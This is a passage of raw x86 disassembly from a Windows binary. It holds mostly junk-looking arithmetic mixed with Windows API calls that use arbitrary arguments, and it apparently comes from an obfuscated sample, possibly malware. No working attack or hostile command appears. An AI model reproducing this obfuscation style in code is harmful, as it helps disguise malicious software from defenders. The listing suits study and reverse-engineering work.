sub eax, dword [ebp - 0x54]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
cmp dword [ebp - 0x7b4], 0x5904
ja 0x402f43
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x54]
or edx, dword [ecx]
mov dword [ebp - 0x24], edx
movzx eax, word [ebp - 0xa4]
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x6c]
mov word [ecx], ax
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xb8]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 2], al
mov edx, dword [ebp - 0x68]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x98]
shr eax, cl
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
and edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x30]
add edx, dword [eax]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], edx
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0x98], eax
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8c]
sub edx, eax
mov word [ebp - 0xa4], dx
movzx ecx, byte [ebp - 3]
movzx edx, byte [ebp - 2]
add ecx, edx
mov byte [ebp - 4], cl
movsx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x88]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x60]
mov byte [ecx], al
movsx edx, word [ebp - 0xc]
movsx eax, word [ebp - 0x2c]
sub edx, eax
mov word [ebp - 0x14], dx
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x50]
add edx, dword [ecx]
mov eax, dword [ebp - 0x94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], edx
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0xd4]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x7c]
mov byte [eax], dl
movzx edx, word [ebp - 0x20]
movzx ecx, word [ebp - 0xb4]
sar edx, cl
mov eax, dword [ebp - 0x6c]
mov word [eax], dx
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x58]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x50]
xor edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x74]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x54]
shl edx, cl
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
and edx, dword [ecx]
mov eax, dword [ebp - 0x30]
mov dword [eax], edx
movzx ecx, byte [ebp - 4]
mov edx, dword [ebp - 0x7c]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0xd4]
mov byte [edx], cl
mov eax, dword [ebp - 0x7b4]
add eax, 0x6e
mov dword [ebp - 0x7b4], eax
movzx ecx, word [ebp - 0x4c]
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x40]
mov word [edx], cx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x74]
add ecx, dword [edx]
mov eax, dword [ebp - 0x5c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
sub ecx, dword [eax]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
and edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x24]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
movsx ecx, word [ebp - 0x14]
movsx edx, word [ebp - 0xc]
add ecx, edx
mov word [ebp - 0x2c], cx
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x60]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 1], cl
mov ecx, dword [ebp - 0x7c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 2]
xor edx, eax
mov byte [ebp - 5], dl
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x20]
or edx, eax
mov word [ebp - 0x4c], dx
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x50]
shl edx, cl
mov dword [ebp - 0x98], edx
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x98]
shr eax, cl
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
jmp 0x402d23
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x20]
and eax, ecx
mov word [ebp - 0x8c], ax
mov edx, dword [ebp - 0x64]
sub edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x98]
sub ecx, dword [eax]
cmp edx, ecx
jb 0x403062
lea edx, [ebp - 4]
mov dword [ebp - 0xd0], edx
mov al, byte [ebp - 1]
mov byte [ebp - 0x974], al
cmp byte [ebp - 0x974], 0
je 0x402f9b
cmp byte [ebp - 0x974], 0x25
je 0x402ffb
jmp 0x403053
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc2c], ecx
cmp dword [ebp - 0xc2c], 0x86e4c6
je 0x402fb2
jmp 0x402ff9
lea edx, [ebp - 0x510]
push edx
call dword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [ebp - 0x378], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x38]
add ecx, dword [edx]
mov eax, dword [ebp - 0x1c]
mov dword [eax], ecx
lea ecx, [ebp - 0x80]
push ecx
lea edx, [ebp - 0xefc]
push edx
call dword [sym.imp.ole32.dll_CoGetTreatAsClass]
mov dword [ebp - 0x3d8], eax
mov eax, dword [ebp - 0x74]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x98]
mov dword [ebp - 0x64], ecx
jmp 0x403053
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
and eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
lea edx, [ebp - 0xb4]
push edx
push 0x81
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [ebp - 0x3d8], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x28]
mov dword [edx], ecx
mov eax, dword [ebp - 0x80]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x90]
mov dl, byte [eax]
mov cl, byte [ebp - 1]
call fcn.00416350
nop
mov dword [ebp - 0x7e0], 0xc9e6
jmp 0x403116
movzx ecx, word [ebp - 0xb4]
movzx edx, word [ebp - 0xa4]
sub ecx, edx
movzx eax, word [ebp - 0x18]
mov edx, dword [ebp - 0x48]
movzx edx, word [edx]
add eax, edx
cmp ecx, eax
jge 0x403116
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x40]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x18], cx
lea ecx, [ebp - 0x98]
push ecx
push 0x7e
call dword [sym.imp.ole32.dll_CoGetMalloc]
mov dword [ebp - 0x510], eax
mov edx, dword [ebp - 0xb8]
mov al, byte [edx]
mov byte [ebp - 0x978], al
cmp byte [ebp - 0x978], 0x9d
je 0x4030cf
cmp byte [ebp - 0x978], 0xd6
je 0x403105
jmp 0x403116
movzx edx, byte [ebp - 3]
mov eax, dword [ebp - 0xb8]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x90]
mov byte [ecx], dl
mov edx, dword [ebp - 0x74]
mov eax, dword [edx]
xor eax, dword [ebp - 0x98]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x24]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
jmp 0x403116
mov ecx, dword [ebp - 0x60]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 1], dl
movsx edx, word [ebp - 0x14]
movsx eax, word [ebp - 0x2c]
and edx, eax
mov word [ebp - 0xc], dx
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x54]
sub eax, dword [edx]
cmp ecx, eax
jge 0x4031dc
push 0xd3
lea ecx, [ebp - 1]
push ecx
push 0xec
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0xf0c]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [ebp - 0x514], eax
movsx edx, word [ebp - 0x2c]
mov dword [ebp - 0xc30], edx
cmp dword [ebp - 0xc30], 0x1c30
je 0x40317b
jmp 0x4031b9
movzx eax, byte [ebp - 5]
mov ecx, dword [ebp - 0xd0]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x90]
mov byte [ecx], al
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x20]
sub eax, ecx
mov word [ebp - 0x18], ax
mov edx, dword [ebp - 0x68]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5c]
add eax, dword [ecx]
mov edx, dword [ebp - 0x68]
mov dword [edx], eax
call fcn.004157f0
nop
jmp 0x4031dc
push 0x14
push 0x38
push 0x4d
mov eax, dword [ebp - 0x500]
push eax
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x788], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x34]
add edx, dword [ecx]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x7cc], 0xec09
mov ecx, dword [ebp - 0x98]
and ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x68]
mov dword [edx], ecx
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x84]
shl edx, cl
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x48]
mov word [eax], dx
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 2]
sar edx, cl
mov byte [ebp - 4], dl
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x84]
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x74]
mov eax, dword [edx]
add eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov edx, dword [ebp - 0x34]
sub edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x54]
and edx, dword [ecx]
mov dword [ebp - 0x24], edx
movzx eax, byte [ebp - 5]
mov ecx, dword [ebp - 0xd0]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x90]
mov byte [ecx], al
mov edx, dword [ebp - 0x40]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x48]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x6c]
mov word [ecx], ax
movsx edx, word [ebp - 0x14]
movsx eax, word [ebp - 0x2c]
add edx, eax
mov word [ebp - 0xc], dx
mov ecx, dword [ebp - 0x60]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x80]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 1], dl
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x98]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x54]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0xb8]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 2], dl
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x8c]
sub eax, ecx
mov edx, dword [ebp - 0x40]
mov word [edx], ax
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x5c]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x58]
mov edx, dword [ebp - 0x84]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x54]
shl edx, cl
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x98]
xor eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x4c], ax
mov eax, dword [ebp - 0xd0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 4]
sub ecx, edx
mov eax, dword [ebp - 0x7c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x30]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [ebp - 0x38]
mov eax, dword [edx]
and eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x98]
add edx, dword [ebp - 0x50]
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x3c]
add ecx, dword [edx]
mov eax, dword [ebp - 0x38]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x84]
add edx, dword [ecx]
mov eax, dword [ebp - 0x1c]
mov dword [eax], edx
movsx ecx, word [ebp - 0xc]
movsx edx, word [ebp - 0x2c]
add ecx, edx
mov word [ebp - 0x14], cx
mov eax, dword [ebp - 0x88]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x60]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x80]
mov byte [edx], cl
movzx eax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x40]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x4c], ax
movzx edx, byte [ebp - 5]
mov eax, dword [ebp - 0xd4]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 4], dl
mov ecx, dword [ebp - 0x7b8]
add ecx, 0xe9
mov dword [ebp - 0x7b8], ecx
mov edx, dword [ebp - 0x64]
or edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x5c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x58]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x24], eax
movzx ecx, word [ebp - 0x8c]
mov edx, dword [ebp - 0x6c]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x48]
mov word [edx], cx
mov eax, dword [ebp - 0xd0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xb8]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 3], cl
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x38]
mov dword [eax], edx
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x54]
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x5c]
mov eax, dword [edx]
and eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
movzx edx, byte [ebp - 2]
movzx eax, byte [ebp - 4]
sub edx, eax
mov byte [ebp - 5], dl
movzx ecx, word [ebp - 0x18]
movzx edx, word [ebp - 0x8c]
add ecx, edx
mov eax, dword [ebp - 0x40]
mov word [eax], cx
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx]
add edx, dword [ebp - 0x84]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x88]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x80]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 1], al
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x98]
or eax, dword [edx]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
cmp dword [ebp - 0x7b8], 0x6c3b
jne 0x4031f2
cmp dword [ebp - 0x7bc], 0x827c
jbe 0x4035cd
movzx edx, word [ebp - 0xa4]
movzx eax, word [ebp - 0x18]
xor edx, eax
mov word [ebp - 0x20], dx
mov ecx, dword [ebp - 0x7bc]
sub ecx, 0x14
mov dword [ebp - 0x7bc], ecx
movzx edx, byte [ebp - 5]
mov eax, dword [ebp - 0x7c]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
mov edx, dword [ebp - 0xa0]
mov eax, dword [edx]
and eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov edx, dword [ebp - 0x68]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x74]
add eax, dword [ecx]
mov dword [ebp - 0x50], eax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x84]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
add eax, dword [edx]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
movzx edx, byte [ebp - 5]
mov eax, dword [ebp - 0xb8]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x90]
mov byte [eax], dl
movzx ecx, word [ebp - 0x18]
movzx edx, word [ebp - 0x20]
and ecx, edx
mov eax, dword [ebp - 0x48]
mov word [eax], cx
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x98]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x5c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x3c]
mov dword [eax], edx
jmp 0x4034f3
mov ecx, dword [ebp - 0x38]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x54]
mov dword [ebp - 0x24], edx
movsx eax, word [ebp - 0x2c]
movsx ecx, word [ebp - 0xc]
xor eax, ecx
movsx edx, word [ebp - 0x14]
cmp eax, edx
je 0x4036ab
movsx eax, word [ebp - 0x14]
mov dword [ebp - 0xc34], eax
cmp dword [ebp - 0xc34], 0x175b
je 0x403606
jmp 0x403632
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x98]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x5c]
mov dword [eax], edx
push 0xb5
mov ecx, dword [ebp - 0x384]
push ecx
call dword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [ebp - 0x298], eax
jmp 0x403658
movzx edx, word [ebp - 0x20]
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xb4], dx
mov cl, byte [ebp - 4]
mov byte [ebp - 6], cl
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
or eax, dword [ebp - 0x24]
mov dword [section..data], eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 1]
and eax, ecx
mov edx, dword [ebp - 0x60]
mov byte [edx], al
mov dword [ebp - 0x814], 0xff89
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0x58]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xa4]
add ecx, edx
mov eax, dword [ebp - 0x48]
mov word [eax], cx
lea ecx, [ebp - 6]
mov dword [ebp - 0xd8], ecx
mov dword [ebp - 0x7fc], 0xd25
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0xec]
mov dword [ebp - 0xc0], edx
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax]
mov dword [ebp - 0x97c], ecx
cmp dword [ebp - 0x97c], 0
je 0x403775
cmp dword [ebp - 0x97c], 0x2a50ee8f
je 0x4036f7
jmp 0x415172
mov edx, dword [ebp - 0x58]
mov eax, dword [section..data]
add eax, dword [edx]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x6c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x40]
mov word [eax], dx
lea ecx, [ebp - 0x370]
push ecx
mov edx, dword [ebp - 0x3d4]
push edx
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x129c]
push ecx
mov edx, dword [ebp - 0x38c]
push edx
mov eax, dword [ebp - 0x2fc]
push eax
push str.tuftingPredated_treatiesmetastasisGarnished
push 0x58
call sub.VERSION.dll_VerFindFileW
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0xd0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xd8]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0xb8]
mov byte [eax], dl
jmp 0x415172
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x64]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x94]
mov dword [eax], edx
mov ecx, dword [ebp - 0x34]
or ecx, dword [ebp - 0x84]
mov dword [ebp - 0x54], ecx
movzx edx, byte [ebp - 4]
mov eax, dword [ebp - 0xd4]
movzx ecx, byte [eax]
xor edx, ecx
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 0x7c]
movzx ecx, byte [ecx]
shl eax, cl
cmp edx, eax
jl 0x4037f5
mov edx, dword [ebp - 0x7c]
mov al, byte [edx]
mov byte [ebp - 0xc38], al
cmp byte [ebp - 0xc38], 0x14
je 0x4037c6
jmp 0x4037d7
mov ecx, dword [ebp - 0x70]
movzx edx, word [ecx]
push edx
call fcn.00416160
add esp, 4
jmp 0x4037f0
mov eax, dword [ebp - 0x58]
mov ecx, dword [eax]
mov dword [ebp - 0xac], ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [edx]
and eax, dword [ebp - 0x84]
mov dword [ebp - 0x54], eax
jmp 0x4038cb
mov ecx, dword [ebp - 0x68]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x50]
shr edx, cl
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x74]
mov eax, dword [eax]
sub eax, dword [ecx]
cmp edx, eax
jbe 0x4038cb
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
add edx, dword [section..data]
mov dword [ebp - 0x84], edx
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [ebp - 0x3dc], eax
mov ecx, dword [ebp - 0x40]
movzx edx, word [ecx]
mov dword [ebp - 0x980], edx
cmp dword [ebp - 0x980], 0x7c4
je 0x40385b
cmp dword [ebp - 0x980], 0x8be
je 0x4038ad
jmp 0x4038cb
movsx eax, word [ebp - 0xc]
movsx ecx, word [ebp - 0x2c]
sub eax, ecx
mov edx, dword [ebp - 0x70]
mov word [edx], ax
mov eax, dword [ebp - 0x88]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x60]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 1], cl
movzx ecx, byte [ebp - 3]
mov edx, dword [ebp - 0xd4]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x90]
mov byte [edx], cl
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x40]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xb4], cx
jmp 0x4038cb
push 0xd5
push 0x5d
push 0xce
mov ecx, dword [ebp - 0x500]
push ecx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x934], eax
mov edx, dword [ebp - 0xd0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x90]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xd4]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 3]
add edx, ecx
cmp eax, edx
jge 0x40391d
mov edx, dword [ebp - 0x50]
and edx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xa0]
mov dword [eax], edx
movzx ecx, word [ebp - 0x14]
push ecx
movzx edx, byte [ebp - 4]
push edx
mov eax, dword [ebp - 0xd4]
movzx ecx, byte [eax]
push ecx
call fcn.00415390
nop
mov edx, dword [ebp - 0xc0]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x54]
sar eax, cl
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ecx]
xor ecx, dword [edx]
cmp eax, ecx
jge 0x4039ff
movzx edx, byte [ebp - 6]
movzx eax, byte [ebp - 5]
or edx, eax
mov byte [ebp - 3], dl
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x94]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x98]
add edx, dword [ecx]
cmp eax, edx
jbe 0x4039d8
movzx eax, word [ebp - 0xa4]
movzx ecx, word [ebp - 0x18]
add eax, ecx
mov edx, dword [ebp - 0x48]
mov word [edx], ax
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov dword [ebp - 0x984], ecx
cmp dword [ebp - 0x984], 0xa96fb9c
je 0x4039a9
cmp dword [ebp - 0x984], 0x32f90fdb
je 0x4039bc
jmp 0x4039d6
mov edx, dword [ebp - 0x34]
push edx
movzx eax, word [ebp - 0x18]
push eax
call fcn.00415860
add esp, 8
jmp 0x4039d6
lea ecx, [ebp - 0x788]
push ecx
lea edx, [ebp - 0xeec]
push edx
call dword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [ebp - 0x378], eax
jmp 0x4039ff
mov eax, dword [section..data]
sub eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x30]
mov ecx, dword [ecx]
and ecx, dword [edx]
cmp eax, ecx
jg 0x4039ff
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x84]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x818], 0xe5cd
mov ecx, dword [ebp - 0x6c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa4]
add edx, eax
movzx ecx, word [ebp - 0x8c]
mov eax, dword [ebp - 0x48]
movzx eax, word [eax]
sub ecx, eax
cmp edx, ecx
jl 0x403b21
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x50]
add edx, dword [ecx]
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x9c], ecx
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0xa0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x68]
mov esi, dword [ebp - 0xec]
mov ecx, dword [eax]
shr esi, cl
cmp edx, esi
je 0x403b12
movzx ecx, word [ebp - 0xb4]
mov edx, dword [ebp - 0x48]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x6c]
mov word [edx], cx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax]
mov dword [ebp - 0x988], ecx
cmp dword [ebp - 0x988], 0x17347105
je 0x403ae8
